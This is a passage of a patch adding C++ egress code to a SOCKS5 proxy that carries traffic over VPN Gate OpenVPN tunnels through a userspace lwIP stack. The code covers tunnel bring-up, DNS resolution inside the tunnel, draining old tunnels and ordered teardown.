EgressManager(const EgressManager &) = delete;
|
||||
EgressManager &operator=(const EgressManager &) = delete;
|
||||
|
||||
// Runs when the first egress becomes usable, or when startup gives up.
|
||||
using StartHandler = std::function<void(const std::error_code &)>;
|
||||
|
||||
// Brings up the first egress. `on_ready` fires once. Retries internally with
|
||||
// backoff, so an error here means the retry budget ran out, not that one node
|
||||
// failed.
|
||||
void start(StartHandler on_ready);
|
||||
|
||||
// Stops everything: the active egress, every draining one, and any switch in
|
||||
// flight. `on_done` runs once it is all gone.
|
||||
void shutdown(std::function<void()> on_done = {});
|
||||
|
||||
// The egress a new session should use. Null before start() completes or after
|
||||
// shutdown. Cheap: a mutex and a shared_ptr copy.
|
||||
EgressPtr acquire() const;
|
||||
|
||||
// Asks for a switch. Ignored (returns false) while one is already running,
|
||||
// inside the anti-flap interval, or during backoff -- unless `force`, which
|
||||
// the admin endpoint uses.
|
||||
//
|
||||
// There are four distinct ways to be declined and an operator staring at an
|
||||
// admin response cannot act on any of them if they arrive as a bare false, so
|
||||
// `why` (optional) is filled with the specific one. Do not collapse these back
|
||||
// into a single message: "already switching" and "this build has no tunnel to
|
||||
// switch to" call for opposite responses.
|
||||
bool request_switch(SwitchReason reason, bool force = false,
|
||||
std::string *why = nullptr);
|
||||
|
||||
// Fires just before the active egress is replaced, on the manager's strand.
|
||||
// The SOCKS5 layer uses it to re-home zero-progress sessions and UDP
|
||||
// associations onto the new egress before the old one starts draining.
|
||||
using PromoteHandler =
|
||||
std::function<void(const EgressPtr &old_e, const EgressPtr &new_e)>;
|
||||
void set_on_promote(PromoteHandler h);
|
||||
|
||||
// Fires when a draining egress's grace window expires and whatever is left on
|
||||
// it must be closed. The SOCKS5 layer force-closes those sessions; the egress
|
||||
// itself is released here regardless.
|
||||
using DrainExpiredHandler = std::function<void(const EgressPtr &)>;
|
||||
void set_on_drain_expired(DrainExpiredHandler h);
|
||||
|
||||
// How a chosen node becomes a live egress. The default builds a TunnelEgress
|
||||
// and starts it; the seam exists because the switch state machine is the most
|
||||
// subtle code in the program and testing it against a volunteer-run VPN
|
||||
// server in another country would test the weather, not the logic.
|
||||
//
|
||||
// Contract: `on_ready` is invoked exactly once, with no error when the
|
||||
// returned egress is usable and with one when it never got there. Returning
|
||||
// null means the node could not be started at all, and then `on_ready` is not
|
||||
// invoked.
|
||||
using NodeReadyHandler =
|
||||
std::function<void(const std::error_code &, const std::string &detail)>;
|
||||
using EgressFactory = std::function<EgressPtr(
|
||||
const vpngate::Node &, const vpngate::Remote &, NodeReadyHandler)>;
|
||||
void set_egress_factory(EgressFactory f);
|
||||
|
||||
struct Status {
|
||||
SwitchPhase phase = SwitchPhase::Idle;
|
||||
std::string active_node;
|
||||
EgressState active_state = EgressState::Idle;
|
||||
std::string active_detail;
|
||||
size_t draining = 0;
|
||||
uint64_t switches = 0;
|
||||
uint64_t switch_failures = 0;
|
||||
std::string last_reason;
|
||||
int64_t ms_since_switch = -1;
|
||||
int64_t backoff_ms = 0;
|
||||
std::string candidate; // node currently being connected, if any
|
||||
};
|
||||
Status status() const;
|
||||
|
||||
std::vector<EgressStats> draining_stats() const;
|
||||
|
||||
private:
|
||||
using Clock = std::chrono::steady_clock;
|
||||
|
||||
using CandidateQueue = std::shared_ptr<std::vector<selector::Candidate>>;
|
||||
|
||||
void begin_select(SwitchReason reason);
|
||||
void on_candidates(SwitchReason reason, std::vector<selector::Candidate> c);
|
||||
void try_candidate(SwitchReason reason, CandidateQueue queue, size_t idx);
|
||||
void candidate_failed(SwitchReason reason, CandidateQueue queue, size_t idx,
|
||||
const std::error_code &ec, const std::string &detail);
|
||||
void promote(SwitchReason reason, EgressPtr fresh,
|
||||
const selector::Candidate *cand);
|
||||
void fail_switch(SwitchReason reason, const std::string &why);
|
||||
// Reschedules without recording a failure. For conditions that are not the
|
||||
// node list's fault -- chiefly the directory not having arrived yet.
|
||||
void retry_startup(SwitchReason reason, Millis delay, const std::string &why);
|
||||
void arm_startup_poll(Millis delay);
|
||||
// Idle/Draining -> Selecting, atomically. False means somebody else got there
|
||||
// first and this caller must not start a second selection.
|
||||
bool claim_switch_phase();
|
||||
void schedule_drain_sweep();
|
||||
void sweep_drains();
|
||||
void finish_start(const std::error_code &ec, const std::string &why);
|
||||
// Hard switch: everything currently serving is closed at once. Used when
|
||||
// make-before-break is impossible (address collision) or configured off.
|
||||
void evict_all(const char *why);
|
||||
void set_phase(SwitchPhase p);
|
||||
bool beats_incumbent(const selector::Candidate &c) const;
|
||||
std::vector<std::string> excluded_ids() const;
|
||||
EgressPtr make_direct();
|
||||
|
||||
asio::io_context &io_;
|
||||
Config cfg_;
|
||||
selector::Selector *selector_;
|
||||
selector::HistoryStore *history_;
|
||||
netstack::Stack *stack_;
|
||||
Strand strand_;
|
||||
asio::steady_timer drain_timer_;
|
||||
EgressFactory factory_;
|
||||
|
||||
// Strand-only.
|
||||
EgressPtr pending_; // the egress being brought up, before promotion
|
||||
size_t start_rounds_ = 0;
|
||||
size_t directory_waits_ = 0;
|
||||
StartHandler on_start_;
|
||||
bool start_reported_ = false;
|
||||
// Set when a candidate has already forced a hard switch this round, so the
|
||||
// collision path retries exactly once instead of looping.
|
||||
bool collision_forced_ = false;
|
||||
bool shutting_down_ = false;
|
||||
|
||||
mutable std::mutex mu_; // guards everything below
|
||||
SwitchPhase phase_ = SwitchPhase::Idle;
|
||||
EgressPtr active_;
|
||||
std::vector<DrainingEgress> draining_;
|
||||
std::string candidate_node_;
|
||||
uint64_t switches_ = 0;
|
||||
uint64_t switch_failures_ = 0;
|
||||
std::string last_reason_ = "-";
|
||||
Clock::time_point last_switch_{};
|
||||
Millis backoff_{0};
|
||||
Clock::time_point backoff_until_{};
|
||||
PromoteHandler on_promote_;
|
||||
DrainExpiredHandler on_drain_expired_;
|
||||
};
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,505 @@
|
||||
#include "egress/tunnel_egress.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <utility>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
#include "netstack/packet_link.h"
|
||||
|
||||
namespace ovg::egress {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "egress";
|
||||
|
||||
metrics::Counter *tunnels_started() {
|
||||
static auto *c = metrics::counter("ovg_tunnel_egress_started_total",
|
||||
"Tunnel egresses started");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *tunnels_ready() {
|
||||
static auto *c = metrics::counter("ovg_tunnel_egress_ready_total",
|
||||
"Tunnel egresses that reached Ready");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *tunnels_failed() {
|
||||
static auto *c = metrics::counter("ovg_tunnel_egress_failed_total",
|
||||
"Tunnel egresses that never reached Ready");
|
||||
return c;
|
||||
}
|
||||
metrics::Gauge *egresses_live() {
|
||||
static auto *g = metrics::gauge("ovg_egress_live",
|
||||
"Egress objects currently constructed");
|
||||
return g;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// PacketPipe -> PacketLink
|
||||
// ---------------------------------------------------------------------------
|
||||
//
|
||||
// The entire coupling between OpenVPN and the TCP/IP stack, in one class. Note
|
||||
// what is *not* here: no framing, no length prefixes, no reassembly. The pipe
|
||||
// is SOCK_DGRAM, so one send is one IP packet and one receive is one IP packet
|
||||
// (ovpn/packet_pipe.h). Anything more would mean the two sides had to agree on
|
||||
// a wire format, and then they would be coupled for real.
|
||||
class TunnelEgress::LinkAdapter final : public netstack::PacketLink {
|
||||
public:
|
||||
explicit LinkAdapter(ovpn::PacketPipe &pipe) : pipe_(pipe) {}
|
||||
|
||||
bool send_packet(const void *data, size_t len) override {
|
||||
return pipe_.send_packet(data, len) == ovpn::PacketPipe::SendStatus::Ok;
|
||||
}
|
||||
|
||||
void async_receive(asio::mutable_buffer buf, const asio::any_io_executor &ex,
|
||||
RecvHandler h) override {
|
||||
if (!pipe_.is_open()) {
|
||||
asio::post(ex, [h = std::move(h)] {
|
||||
h(make_error_code(Error::EgressGone), 0);
|
||||
});
|
||||
return;
|
||||
}
|
||||
pipe_.socket().async_receive(
|
||||
buf, asio::bind_executor(
|
||||
ex, [this, h = std::move(h)](const std::error_code &ec,
|
||||
size_t n) {
|
||||
if (!ec) pipe_.note_received(n);
|
||||
h(ec, n);
|
||||
}));
|
||||
}
|
||||
|
||||
void cancel() override {
|
||||
if (!pipe_.is_open()) return;
|
||||
std::error_code ignored;
|
||||
pipe_.socket().cancel(ignored);
|
||||
}
|
||||
|
||||
bool is_open() const override { return pipe_.is_open(); }
|
||||
|
||||
size_t max_packet_size() const override { return ovpn::kMaxPacketSize; }
|
||||
|
||||
private:
|
||||
ovpn::PacketPipe &pipe_;
|
||||
};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Construction
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
std::shared_ptr<TunnelEgress> TunnelEgress::create(asio::io_context &io,
|
||||
netstack::Stack &stack,
|
||||
OvpnConfig ovpn_cfg) {
|
||||
return std::shared_ptr<TunnelEgress>(
|
||||
new TunnelEgress(io, stack, std::move(ovpn_cfg)));
|
||||
}
|
||||
|
||||
TunnelEgress::TunnelEgress(asio::io_context &io, netstack::Stack &stack,
|
||||
OvpnConfig ovpn_cfg)
|
||||
: io_(io),
|
||||
stack_(stack),
|
||||
ovpn_cfg_(std::move(ovpn_cfg)),
|
||||
created_(std::chrono::steady_clock::now()) {
|
||||
egresses_live()->add(1);
|
||||
}
|
||||
|
||||
TunnelEgress::~TunnelEgress() {
|
||||
egresses_live()->sub(1);
|
||||
|
||||
// The reference count hitting zero is the drain completing (egress.h), so
|
||||
// this is the normal end of a replaced egress rather than an error path. It
|
||||
// is also the awkward one: teardown is ordered and asynchronous, and we are
|
||||
// in a destructor, so there is nothing left to hang the continuation on.
|
||||
//
|
||||
// Hence the hand-off. The netif, the tunnel and the link adapter are all
|
||||
// shared_ptr, and the teardown chain below carries them: this object goes
|
||||
// away now, the three of them go away in the right order, later. The link in
|
||||
// particular must outlive the netif's shutdown, because the netif holds it by
|
||||
// reference (netstack/lwip_stack.h).
|
||||
auto nif = std::move(netif_);
|
||||
auto tun = std::move(tunnel_);
|
||||
auto link = std::move(link_);
|
||||
const std::string label = label_;
|
||||
const int64_t age_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now() - created_)
|
||||
.count();
|
||||
|
||||
auto stop_tunnel = [tun, link, label, age_ms]() mutable {
|
||||
auto done = [link, label, age_ms] {
|
||||
LOG_INFO(kMod, "{}: egress torn down after {} ms", label, age_ms);
|
||||
};
|
||||
if (tun) {
|
||||
tun->stop(std::move(done));
|
||||
} else {
|
||||
done();
|
||||
}
|
||||
};
|
||||
|
||||
if (nif) {
|
||||
// Netif first, tunnel second. The netif's receive loop reads from the pipe
|
||||
// that stopping the tunnel closes, and its lwIP teardown still wants to
|
||||
// send; the reverse order is a use-after-close.
|
||||
nif->shutdown([nif, stop_tunnel]() mutable { stop_tunnel(); });
|
||||
} else {
|
||||
stop_tunnel();
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Bring-up
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
bool TunnelEgress::start(const vpngate::Node &node,
|
||||
const vpngate::Remote &remote, ReadyHandler on_ready,
|
||||
std::string *err) {
|
||||
node_ = node;
|
||||
remote_ = remote;
|
||||
label_ = node.id();
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
on_ready_ = std::move(on_ready);
|
||||
}
|
||||
set_state(EgressState::Connecting, {});
|
||||
|
||||
tunnel_ = ovpn::TunnelClient::create(io_, ovpn_cfg_);
|
||||
auto self = shared_from_this();
|
||||
const bool ok = tunnel_->start(
|
||||
node, remote,
|
||||
[self](ovpn::TunnelState st, const ovpn::TunnelInfo &info,
|
||||
const std::string &detail) {
|
||||
self->on_tunnel_state(st, info, detail);
|
||||
},
|
||||
err);
|
||||
if (!ok) {
|
||||
tunnel_.reset();
|
||||
set_state(EgressState::Down, err ? *err : "profile unusable");
|
||||
finish_ready(make_error_code(Error::TunnelSetupFailed),
|
||||
err ? *err : "profile unusable");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Valid from here on: the socketpair exists before the worker starts, which
|
||||
// is why the netstack never has to race the CONNECTED event.
|
||||
link_ = std::make_shared<LinkAdapter>(tunnel_->pipe());
|
||||
tunnels_started()->inc();
|
||||
LOG_INFO(kMod, "{}: connecting to {}:{}/{}", label_, remote.host, remote.port,
|
||||
vpngate::proto_name(remote.proto));
|
||||
return true;
|
||||
}
|
||||
|
||||
void TunnelEgress::on_tunnel_state(ovpn::TunnelState st,
|
||||
const ovpn::TunnelInfo &info,
|
||||
const std::string &detail) {
|
||||
switch (st) {
|
||||
case ovpn::TunnelState::Up: {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
info_ = info;
|
||||
if (netif_) return; // already attached; a re-Up after Reconnecting
|
||||
}
|
||||
if (!info.usable()) {
|
||||
set_state(EgressState::Down, "server pushed no usable IPv4 config");
|
||||
finish_ready(make_error_code(Error::TunnelSetupFailed),
|
||||
"server pushed no usable IPv4 config");
|
||||
return;
|
||||
}
|
||||
attach_netif(info);
|
||||
break;
|
||||
}
|
||||
case ovpn::TunnelState::Reconnecting:
|
||||
// The tun fd survives (tunPersist), so the netif and every PCB on it stay
|
||||
// exactly as they are. Packets are dropped meanwhile, which TCP treats as
|
||||
// congestion -- the correct behaviour, and the reason this is not a state
|
||||
// change the layers above need to see.
|
||||
LOG_INFO(kMod, "{}: tunnel reconnecting: {}", label_, detail);
|
||||
break;
|
||||
|
||||
case ovpn::TunnelState::Down: {
|
||||
LOG_WARN(kMod, "{}: tunnel down: {}", label_, detail);
|
||||
const bool was_ready = state() == EgressState::Ready;
|
||||
set_state(EgressState::Down, detail);
|
||||
// Aborts every live stream with Error::EgressGone rather than leaving
|
||||
// them parked on a tunnel that is not coming back.
|
||||
std::shared_ptr<netstack::Netif> nif;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
nif = netif_;
|
||||
}
|
||||
if (nif) nif->shutdown();
|
||||
if (!was_ready) {
|
||||
finish_ready(make_error_code(Error::TunnelSetupFailed), detail);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case ovpn::TunnelState::Connecting:
|
||||
case ovpn::TunnelState::Idle:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void TunnelEgress::attach_netif(const ovpn::TunnelInfo &info) {
|
||||
netstack::NetifConfig cfg;
|
||||
if (auto a = IpAddress::parse(info.ipv4)) cfg.address = *a;
|
||||
cfg.prefix = info.prefix4;
|
||||
if (!info.gateway4.empty()) {
|
||||
if (auto g = IpAddress::parse(info.gateway4)) cfg.gateway = *g;
|
||||
}
|
||||
cfg.mtu = info.mtu;
|
||||
for (const auto &d : info.dns) {
|
||||
// v6 servers are dropped rather than carried: lwIP here is v4-only, so a
|
||||
// query sent to one would have nowhere to go (lwip_stack.h).
|
||||
if (auto a = IpAddress::parse(d); a && a->is_v4()) cfg.dns.push_back(*a);
|
||||
}
|
||||
cfg.label = label_;
|
||||
|
||||
auto self = shared_from_this();
|
||||
stack_.async_attach(
|
||||
*link_, cfg, io_.get_executor(),
|
||||
[self](const std::error_code &ec, std::shared_ptr<netstack::Netif> nif) {
|
||||
if (ec) {
|
||||
const std::string why =
|
||||
ec == make_error_code(Error::ResourceExhausted)
|
||||
? "tunnel address collides with a draining egress"
|
||||
: ec.message();
|
||||
LOG_WARN(kMod, "{}: netif attach failed: {}", self->label_, why);
|
||||
self->set_state(EgressState::Down, why);
|
||||
if (self->tunnel_) self->tunnel_->stop();
|
||||
self->finish_ready(ec, why);
|
||||
return;
|
||||
}
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(self->mu_);
|
||||
self->netif_ = std::move(nif);
|
||||
}
|
||||
self->ready_at_ = std::chrono::steady_clock::now();
|
||||
self->set_state(EgressState::Ready, {});
|
||||
tunnels_ready()->inc();
|
||||
LOG_INFO(kMod, "{}: egress ready ({} ms to bring up)", self->label_,
|
||||
std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
self->ready_at_ - self->created_)
|
||||
.count());
|
||||
self->finish_ready({}, {});
|
||||
});
|
||||
}
|
||||
|
||||
void TunnelEgress::finish_ready(const std::error_code &ec,
|
||||
const std::string &detail) {
|
||||
ReadyHandler h;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (ready_reported_) return;
|
||||
ready_reported_ = true;
|
||||
h = std::move(on_ready_);
|
||||
on_ready_ = nullptr;
|
||||
}
|
||||
if (ec) tunnels_failed()->inc();
|
||||
if (h) asio::post(io_, [h = std::move(h), ec, detail] { h(ec, detail); });
|
||||
}
|
||||
|
||||
void TunnelEgress::set_state(EgressState s, const std::string &detail) {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
// Down is terminal. Without this, a late callback from the core could walk a
|
||||
// dead egress back to Ready and the manager would hand it out again.
|
||||
if (state_ == EgressState::Down) return;
|
||||
state_ = s;
|
||||
if (!detail.empty()) detail_ = detail;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Egress
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
EgressState TunnelEgress::state() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return state_;
|
||||
}
|
||||
|
||||
std::string TunnelEgress::detail() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return detail_;
|
||||
}
|
||||
|
||||
ovpn::TunnelInfo TunnelEgress::tunnel_info() const {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
return info_;
|
||||
}
|
||||
|
||||
void TunnelEgress::async_connect_tcp(const asio::any_io_executor &ex,
|
||||
const Endpoint &target, Millis timeout,
|
||||
ConnectHandler h) {
|
||||
std::shared_ptr<netstack::Netif> nif;
|
||||
EgressState st;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
nif = netif_;
|
||||
st = state_;
|
||||
}
|
||||
if (st != EgressState::Ready || !nif) {
|
||||
const auto ec = make_error_code(st == EgressState::Draining
|
||||
? Error::EgressDraining
|
||||
: Error::NotConnected);
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!target.is_domain()) {
|
||||
nif->async_connect_tcp(target.address(), target.port(), timeout, ex,
|
||||
std::move(h));
|
||||
return;
|
||||
}
|
||||
|
||||
// Resolve through this egress, so the lookup goes down the same tunnel the
|
||||
// connection will. Doing it at the caller would leak the name to the host
|
||||
// resolver, which is the exact failure this whole design is meant to avoid.
|
||||
const uint16_t port = target.port();
|
||||
auto self = shared_from_this();
|
||||
async_resolve(ex, target.domain(),
|
||||
[self, nif, port, timeout, ex, h = std::move(h)](
|
||||
const std::error_code &ec,
|
||||
std::vector<IpAddress> addrs) mutable {
|
||||
if (ec || addrs.empty()) {
|
||||
const auto fail =
|
||||
ec ? ec : make_error_code(Error::ResolveFailed);
|
||||
asio::post(ex, [h = std::move(h), fail]() mutable {
|
||||
h(fail, nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
nif->async_connect_tcp(addrs.front(), port, timeout, ex,
|
||||
std::move(h));
|
||||
});
|
||||
}
|
||||
|
||||
void TunnelEgress::async_bind_udp(const asio::any_io_executor &ex,
|
||||
UdpBindHandler h) {
|
||||
std::shared_ptr<netstack::Netif> nif;
|
||||
EgressState st;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
nif = netif_;
|
||||
st = state_;
|
||||
}
|
||||
if (st != EgressState::Ready || !nif) {
|
||||
const auto ec = make_error_code(st == EgressState::Draining
|
||||
? Error::EgressDraining
|
||||
: Error::NotConnected);
|
||||
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
nif->async_open_udp(ex, std::move(h));
|
||||
}
|
||||
|
||||
std::shared_ptr<netstack::Resolver> TunnelEgress::resolver() {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (resolver_) return resolver_;
|
||||
if (!netif_) return nullptr;
|
||||
// Held strongly here, unlike inside Netif (which holds it weakly to avoid a
|
||||
// cycle): the egress is exactly the "for the tunnel's lifetime" owner that
|
||||
// Netif::resolver() documents.
|
||||
resolver_ = netif_->resolver();
|
||||
return resolver_;
|
||||
}
|
||||
|
||||
void TunnelEgress::async_resolve(const asio::any_io_executor &ex,
|
||||
const std::string &host, ResolveHandler h) {
|
||||
auto r = resolver();
|
||||
if (!r) {
|
||||
asio::post(ex, [h = std::move(h)]() mutable {
|
||||
h(make_error_code(Error::NotConnected), {});
|
||||
});
|
||||
return;
|
||||
}
|
||||
// The DNS resolver completes on its own strand, so hop to the caller's
|
||||
// executor here rather than making every call site remember to.
|
||||
r->async_resolve(host, [ex, h = std::move(h)](const std::error_code &ec,
|
||||
std::vector<IpAddress> a) mutable {
|
||||
asio::post(ex, [h = std::move(h), ec, a = std::move(a)]() mutable {
|
||||
h(ec, std::move(a));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
EgressStats TunnelEgress::stats() const {
|
||||
EgressStats s;
|
||||
std::shared_ptr<netstack::Netif> nif;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
nif = netif_;
|
||||
s.server_ip = info_.server_ip;
|
||||
s.local_address = info_.ipv4;
|
||||
}
|
||||
s.node_id = node_.id();
|
||||
s.node_country = node_.country_short;
|
||||
s.proto = vpngate::proto_name(remote_.proto);
|
||||
s.uptime_ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now() - created_)
|
||||
.count();
|
||||
|
||||
if (tunnel_) {
|
||||
const auto c = tunnel_->counters();
|
||||
s.tun_bytes_in = static_cast<uint64_t>(std::max<int64_t>(c.tun_bytes_in, 0));
|
||||
s.tun_bytes_out =
|
||||
static_cast<uint64_t>(std::max<int64_t>(c.tun_bytes_out, 0));
|
||||
s.transport_bytes_in =
|
||||
static_cast<uint64_t>(std::max<int64_t>(c.transport_bytes_in, 0));
|
||||
s.transport_bytes_out =
|
||||
static_cast<uint64_t>(std::max<int64_t>(c.transport_bytes_out, 0));
|
||||
s.last_packet_received_ms = c.last_packet_received_ms;
|
||||
}
|
||||
if (nif) {
|
||||
const auto n = nif->stats();
|
||||
s.tcp_opened = n.tcp_opened;
|
||||
s.tcp_failed = n.tcp_failed;
|
||||
s.tcp_active = n.tcp_active;
|
||||
s.udp_active = n.udp_active;
|
||||
s.rx_packets = n.rx_packets;
|
||||
s.tx_packets = n.tx_packets;
|
||||
s.tx_dropped = n.tx_dropped;
|
||||
s.rx_malformed = n.rx_malformed;
|
||||
s.rx_dropped = n.rx_dropped;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void TunnelEgress::begin_drain() {
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
if (state_ == EgressState::Ready) {
|
||||
state_ = EgressState::Draining;
|
||||
LOG_INFO(kMod, "{}: draining", label_);
|
||||
}
|
||||
}
|
||||
|
||||
void TunnelEgress::shutdown(std::function<void()> on_done) {
|
||||
set_state(EgressState::Down, "shutdown requested");
|
||||
|
||||
std::shared_ptr<netstack::Netif> nif;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(mu_);
|
||||
nif = netif_;
|
||||
resolver_.reset();
|
||||
}
|
||||
|
||||
auto self = shared_from_this();
|
||||
auto stop_tunnel = [self, on_done = std::move(on_done)]() mutable {
|
||||
if (!self->tunnel_) {
|
||||
if (on_done) asio::post(self->io_, std::move(on_done));
|
||||
return;
|
||||
}
|
||||
self->tunnel_->stop(std::move(on_done));
|
||||
};
|
||||
|
||||
if (!nif) {
|
||||
stop_tunnel();
|
||||
return;
|
||||
}
|
||||
// Netif first, tunnel second, and strictly in that order: the netif's receive
|
||||
// loop reads from the pipe that TunnelClient::stop() closes, and its lwIP
|
||||
// teardown still wants to send. Reversing this is a use-after-close.
|
||||
nif->shutdown([stop_tunnel = std::move(stop_tunnel)]() mutable {
|
||||
stop_tunnel();
|
||||
});
|
||||
}
|
||||
|
||||
} // namespace ovg::egress
|
||||
@@ -0,0 +1,141 @@
|
||||
// An OpenVPN session plus the userspace TCP/IP stack that rides on it.
|
||||
//
|
||||
// This is the file where the two halves of the program finally meet, and it is
|
||||
// deliberately the only one. `ovpn` knows nothing about lwIP; `netstack` knows
|
||||
// nothing about OpenVPN -- it takes a PacketLink (netstack/packet_link.h) and
|
||||
// asks only that something hand it whole IP packets. The adapter that makes an
|
||||
// ovpn::PacketPipe satisfy that interface lives in the .cpp and is about thirty
|
||||
// lines. That thinness is the point: it is what keeps either side replaceable.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Bring-up order
|
||||
// ---------------------------------------------------------------------------
|
||||
// 1. TunnelClient::start() opens the socketpair and launches the worker. The
|
||||
// pipe is valid immediately, before the tunnel is up.
|
||||
// 2. The worker reports Up with a TunnelInfo (address, prefix, DNS, MTU).
|
||||
// 3. Only then do we attach a netif: lwIP cannot be given an address the
|
||||
// server has not pushed yet, and guessing one would be worse than waiting.
|
||||
// 4. The egress becomes Ready, and only from that moment does it accept work.
|
||||
//
|
||||
// Step 3 can fail with Error::ResourceExhausted when the pushed address
|
||||
// collides with a netif that is still draining (lwip_stack.h explains why lwIP
|
||||
// cannot tell two identical addresses apart). That is not a defect to route
|
||||
// around here -- it is reported up to the switch controller, which downgrades
|
||||
// the pending graceful switch to a hard one.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// What "Down" means
|
||||
// ---------------------------------------------------------------------------
|
||||
// openvpn3 reconnects on its own and keeps the tun fd across the gap
|
||||
// (tunPersist), so a transient loss shows up as Reconnecting and the netif
|
||||
// stays. We only go Down when the core gives up for good, and at that point
|
||||
// every live stream is aborted with Error::EgressGone rather than left hanging
|
||||
// on a tunnel that will not come back.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <chrono>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "egress/egress.h"
|
||||
#include "netstack/lwip_stack.h"
|
||||
#include "ovpn/tunnel_client.h"
|
||||
#include "vpngate/node.h"
|
||||
|
||||
namespace ovg::egress {
|
||||
|
||||
class TunnelEgress final : public Egress,
|
||||
public std::enable_shared_from_this<TunnelEgress> {
|
||||
public:
|
||||
// Reports the egress reaching a terminal-ish state. Runs on `io`.
|
||||
// ready -> usable; the switch controller may promote it
|
||||
// !ready -> failed or died; `detail` says why, `ec` classifies it
|
||||
using ReadyHandler =
|
||||
std::function<void(const std::error_code &ec, const std::string &detail)>;
|
||||
|
||||
// No timeout parameter: bring-up is bounded by OvpnConfig's
|
||||
// tunnel_up_timeout_s, which TunnelClient already enforces. A second timer
|
||||
// here would be a second policy for the same question, and the two would
|
||||
// drift.
|
||||
static std::shared_ptr<TunnelEgress> create(asio::io_context &io,
|
||||
netstack::Stack &stack,
|
||||
OvpnConfig ovpn_cfg);
|
||||
~TunnelEgress() override;
|
||||
|
||||
TunnelEgress(const TunnelEgress &) = delete;
|
||||
TunnelEgress &operator=(const TunnelEgress &) = delete;
|
||||
|
||||
// Starts the session and drives it to Ready. `on_ready` fires exactly once:
|
||||
// with no error when the netif is up, or with one when the tunnel failed to
|
||||
// come up, timed out, or could not be given a netif. Subsequent failures
|
||||
// (the tunnel dying later) move the state to Down and are visible through
|
||||
// state()/detail(); they do not re-invoke `on_ready`.
|
||||
//
|
||||
// Returns false without starting anything if the node's profile is unusable.
|
||||
bool start(const vpngate::Node &node, const vpngate::Remote &remote,
|
||||
ReadyHandler on_ready, std::string *err);
|
||||
|
||||
// Egress
|
||||
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &target,
|
||||
Millis timeout, ConnectHandler h) override;
|
||||
void async_bind_udp(const asio::any_io_executor &ex,
|
||||
UdpBindHandler h) override;
|
||||
void async_resolve(const asio::any_io_executor &ex, const std::string &host,
|
||||
ResolveHandler h) override;
|
||||
EgressState state() const override;
|
||||
EgressStats stats() const override;
|
||||
std::string detail() const override;
|
||||
void begin_drain() override;
|
||||
void shutdown(std::function<void()> on_done = {}) override;
|
||||
const std::string &label() const override { return label_; }
|
||||
|
||||
// What the server pushed. Empty until Ready.
|
||||
ovpn::TunnelInfo tunnel_info() const;
|
||||
const vpngate::Node &node() const { return node_; }
|
||||
|
||||
private:
|
||||
class LinkAdapter;
|
||||
|
||||
TunnelEgress(asio::io_context &io, netstack::Stack &stack,
|
||||
OvpnConfig ovpn_cfg);
|
||||
|
||||
void on_tunnel_state(ovpn::TunnelState st, const ovpn::TunnelInfo &info,
|
||||
const std::string &detail);
|
||||
void attach_netif(const ovpn::TunnelInfo &info);
|
||||
void set_state(EgressState s, const std::string &detail);
|
||||
void finish_ready(const std::error_code &ec, const std::string &detail);
|
||||
std::shared_ptr<netstack::Resolver> resolver();
|
||||
|
||||
asio::io_context &io_;
|
||||
netstack::Stack &stack_;
|
||||
OvpnConfig ovpn_cfg_;
|
||||
|
||||
std::string label_ = "(unstarted)";
|
||||
vpngate::Node node_;
|
||||
vpngate::Remote remote_;
|
||||
|
||||
std::shared_ptr<ovpn::TunnelClient> tunnel_;
|
||||
// shared_ptr, not unique_ptr: Stack::async_attach takes the link by reference
|
||||
// and the Netif keeps that reference, so the link has to survive until the
|
||||
